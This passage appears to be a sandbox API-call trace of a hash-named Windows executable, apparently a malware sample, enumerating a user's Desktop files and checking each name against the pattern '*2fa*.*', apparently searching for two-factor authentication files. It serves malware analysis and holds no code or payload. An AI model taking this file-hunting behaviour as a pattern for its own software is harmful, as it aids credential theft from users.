ftCreationTime.dwHighDateTime=0x1d7a97b, ftLastAccessTime.dwLowDateTime=0x1f5f71c0, ftLastAccessTime.dwHighDateTime=0x1d7af67, ftLastWriteTime.dwLowDateTime=0x1f5f71c0, ftLastWriteTime.dwHighDateTime=0x1d7af67, nFileSizeHigh=0x0, nFileSizeLow=0x1825b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0hIV.odt", cAlternateFileName="")) returned 1 [0099.612] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.612] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.612] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0hIV.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt" [0099.612] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.612] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.612] lstrcatW (in: lpString1="\\", lpString2="0hIV.odt" | out: lpString1="\\0hIV.odt") returned="\\0hIV.odt" [0099.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa198 [0099.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ae40 [0099.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x211ae40, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", lpUsedDefaultChar=0x0) returned 40 [0099.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ae40 | out: hHeap=0x2110000) returned 1 [0099.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa198 | out: hHeap=0x2110000) returned 1 [0099.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113090 [0099.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113090, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.613] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113090 | out: hHeap=0x2110000) returned 1 [0099.613] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*2fa*.*") returned 0 [0099.613] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.613] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf668b600, ftCreationTime.dwHighDateTime=0x1d7b3bc, ftLastAccessTime.dwLowDateTime=0xf7014c80, ftLastAccessTime.dwHighDateTime=0x1d7b3bc, ftLastWriteTime.dwLowDateTime=0x31aeb900, ftLastWriteTime.dwHighDateTime=0x1d7b3ac, nFileSizeHigh=0x0, nFileSizeLow=0x92600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cAlternateFileName="1A0F89~1.EXE")) returned 1 [0099.613] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.613] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.613] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.613] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.613] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.613] lstrcatW (in: lpString1="\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.613] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xd0) returned 0x21104a0 [0099.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0099.613] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x64) returned 0x21111c0 [0099.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x21111c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", lpUsedDefaultChar=0x0) returned 100 [0099.613] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x2111230 [0099.613] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.613] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.613] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130f0 [0099.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130f0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.613] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.613] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*2fa*.*") returned 0 [0099.613] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111230 | out: hHeap=0x2110000) returned 1 [0099.613] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7149550, ftCreationTime.dwHighDateTime=0x1d7aa3f, ftLastAccessTime.dwLowDateTime=0x12822e50, ftLastAccessTime.dwHighDateTime=0x1d7ab4a, ftLastWriteTime.dwLowDateTime=0x12822e50, ftLastWriteTime.dwHighDateTime=0x1d7ab4a, nFileSizeHigh=0x0, nFileSizeLow=0x175c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1uAKNwE-0yc6at.mp3", cAlternateFileName="1UAKNW~1.MP3")) returned 1 [0099.613] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.614] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.614] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3" [0099.614] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.614] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.614] lstrcatW (in: lpString1="\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="\\1uAKNwE-0yc6at.mp3") returned="\\1uAKNwE-0yc6at.mp3" [0099.614] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.614] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x33ab120 [0099.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x33ab120, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", lpUsedDefaultChar=0x0) returned 50 [0099.614] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128a0 [0099.614] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab120 | out: hHeap=0x2110000) returned 1 [0099.614] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.614] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130a8 [0099.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130a8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.614] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0099.614] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*2fa*.*") returned 0 [0099.614] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128a0 | out: hHeap=0x2110000) returned 1 [0099.614] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d74c530, ftCreationTime.dwHighDateTime=0x1d7a0ad, ftLastAccessTime.dwLowDateTime=0xda822690, ftLastAccessTime.dwHighDateTime=0x1d7a941, ftLastWriteTime.dwLowDateTime=0xda822690, ftLastWriteTime.dwHighDateTime=0x1d7a941, nFileSizeHigh=0x0, nFileSizeLow=0x1662f, dwReserved0=0x0, dwReserved1=0x0, cFileName="4sB35aWlNW.mp3", cAlternateFileName="4SB35A~1.MP3")) returned 1 [0099.614] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.614] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.614] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3" [0099.614] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.614] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.615] lstrcatW (in: lpString1="\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="\\4sB35aWlNW.mp3") returned="\\4sB35aWlNW.mp3" [0099.615] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.615] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x34300d0 [0099.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.615] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.615] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.615] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.615] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130f0 [0099.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130f0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.615] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.615] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*2fa*.*") returned 0 [0099.615] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.615] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf61f470, ftCreationTime.dwHighDateTime=0x1d7a814, ftLastAccessTime.dwLowDateTime=0xa8e2e7d0, ftLastAccessTime.dwHighDateTime=0x1d7ace5, ftLastWriteTime.dwLowDateTime=0xa8e2e7d0, ftLastWriteTime.dwHighDateTime=0x1d7ace5, nFileSizeHigh=0x0, nFileSizeLow=0x375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6jSeen9MOc.mp3", cAlternateFileName="6JSEEN~1.MP3")) returned 1 [0099.615] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.615] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.615] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3" [0099.615] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.615] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.615] lstrcatW (in: lpString1="\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="\\6jSeen9MOc.mp3") returned="\\6jSeen9MOc.mp3" [0099.615] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.615] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x34300d0 [0099.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.615] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.615] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.615] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.616] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113138 [0099.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113138, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.616] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.616] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*2fa*.*") returned 0 [0099.616] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.616] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4d5ac0, ftCreationTime.dwHighDateTime=0x1d7aea7, ftLastAccessTime.dwLowDateTime=0xccbb5650, ftLastAccessTime.dwHighDateTime=0x1d7afc0, ftLastWriteTime.dwLowDateTime=0xccbb5650, ftLastWriteTime.dwHighDateTime=0x1d7afc0, nFileSizeHigh=0x0, nFileSizeLow=0x38d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8plxNnRp.swf", cAlternateFileName="")) returned 1 [0099.616] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.616] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.616] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8plxNnRp.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf" [0099.616] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.616] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.616] lstrcatW (in: lpString1="\\", lpString2="8plxNnRp.swf" | out: lpString1="\\8plxNnRp.swf") returned="\\8plxNnRp.swf" [0099.616] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0099.616] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2c) returned 0x34300d0 [0099.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x34300d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", lpUsedDefaultChar=0x0) returned 44 [0099.616] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.616] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.616] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.616] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112fa0 [0099.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2112fa0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.616] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fa0 | out: hHeap=0x2110000) returned 1 [0099.616] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*2fa*.*") returned 0 [0099.616] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.616] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0099.616] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.617] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.617] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0099.618] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.618] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.618] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0099.618] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.618] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2b) returned 0x34300d0 [0099.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0099.618] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.619] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.619] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.619] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130c0 [0099.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130c0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.619] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130c0 | out: hHeap=0x2110000) returned 1 [0099.619] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*2fa*.*") returned 0 [0099.619] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.619] FindNextFileW 